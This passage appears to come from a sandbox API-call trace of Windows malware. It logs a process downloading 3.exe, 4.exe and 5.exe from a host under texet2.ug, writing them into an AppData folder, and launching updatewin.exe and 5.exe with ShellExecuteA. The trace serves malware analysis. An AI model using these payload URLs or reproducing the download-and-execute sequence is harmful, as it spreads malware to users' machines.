lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.442] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.443] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.443] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.444] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0048.475] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.476] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x1e00) returned 1 [0048.943] WriteFile (in: hFile=0x6ec, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0048.943] CloseHandle (hObject=0x6ec) returned 1 [0048.946] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0048.953] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0048.953] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5108 | out: hHeap=0x670000) returned 1 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0049.103] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d3cc8 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x852) returned 0x306a418 [0049.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30d3cc8, cbMultiByte=-1, lpWideCharStr=0x306a418, cchWideChar=1065 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/3.exe") returned 38 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x3100c28 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d3cc8 | out: hHeap=0x670000) returned 1 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x829) returned 0x30c8230 [0049.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0x30c8230, cbMultiByte=2089, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/3.exe", lpUsedDefaultChar=0x0) returned 38 [0049.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0049.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.103] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://texet2.ug/tesptc/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0049.212] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0049.212] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4588 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x852) returned 0x306a418 [0049.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30d4588, cbMultiByte=-1, lpWideCharStr=0x306a418, cchWideChar=1065 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/4.exe") returned 38 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x3100c28 [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4588 | out: hHeap=0x670000) returned 1 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x829) returned 0x30c8ab8 [0049.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/4.exe", cchWideChar=-1, lpMultiByteStr=0x30c8ab8, cbMultiByte=2089, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/4.exe", lpUsedDefaultChar=0x0) returned 38 [0049.212] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0049.212] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.212] InternetOpenUrlA (hInternet=0xcc0010, lpszUrl="http://texet2.ug/tesptc/penelop/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0049.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0049.318] HttpQueryInfoW (in: hRequest=0xcc0018, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0049.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0049.318] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0049.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d45f8 [0049.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x852) returned 0x306a418 [0049.318] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30d45f8, cbMultiByte=-1, lpWideCharStr=0x306a418, cchWideChar=1065 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/5.exe") returned 38 [0049.318] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x3100c28 [0049.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d45f8 | out: hHeap=0x670000) returned 1 [0049.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0049.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x829) returned 0x30c8230 [0049.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/5.exe", cchWideChar=-1, lpMultiByteStr=0x30c8230, cbMultiByte=2089, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/5.exe", lpUsedDefaultChar=0x0) returned 38 [0049.319] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0049.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0049.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0049.319] InternetOpenUrlA (hInternet=0xcc001c, lpszUrl="http://texet2.ug/tesptc/penelop/5.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0024 [0049.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0049.428] HttpQueryInfoW (in: hRequest=0xcc0024, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0049.428] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d46a0 [0049.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0049.428] lstrcpyA (in: lpString1=0x30693c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" [0049.428] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", pMore="5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe") returned 1 [0049.428] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0049.428] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0049.428] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.428] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.462] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.463] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.464] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.464] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.496] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.497] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.538] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.538] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.539] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.539] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.565] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.565] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.600] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.600] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.600] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.601] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.634] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.634] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.635] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.636] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.668] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.668] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.703] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.703] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.703] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.704] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.737] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.737] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.738] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.738] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.772] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.772] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.773] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.773] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.806] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.806] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.810] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.810] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.842] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.843] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.843] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.843] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.844] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.844] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0049.961] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.961] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2000) returned 1 [0049.962] WriteFile (in: hFile=0x690, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2000, lpOverlapped=0x0) returned 1 [0049.962] CloseHandle (hObject=0x690) returned 1 [0049.965] InternetCloseHandle (hInternet=0xcc0024) returned 1 [0049.969] InternetCloseHandle (hInternet=0xcc001c) returned 1 [0049.969] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30697c8 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd570 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30693c0 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd110 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f51f48 | out: hHeap=0x670000) returned 1 [0049.998] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ce30 | out: hHeap=0x670000) returned 1 [0049.999] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068ff8 | out: hHeap=0x670000) returned 1 Thread: id = 44 os_tid = 0x2ac [0045.152] timeGetTime () returned 0x1a4a7 [0045.152] GetLastError () returned 0x54f [0045.152] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3bc) returned 0x306c3e8 [0045.152] GetCurrentThreadId () returned 0x2ac [0045.152] SetLastError (dwErrCode=0x54f) [0045.152] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xfbaa6e4 | 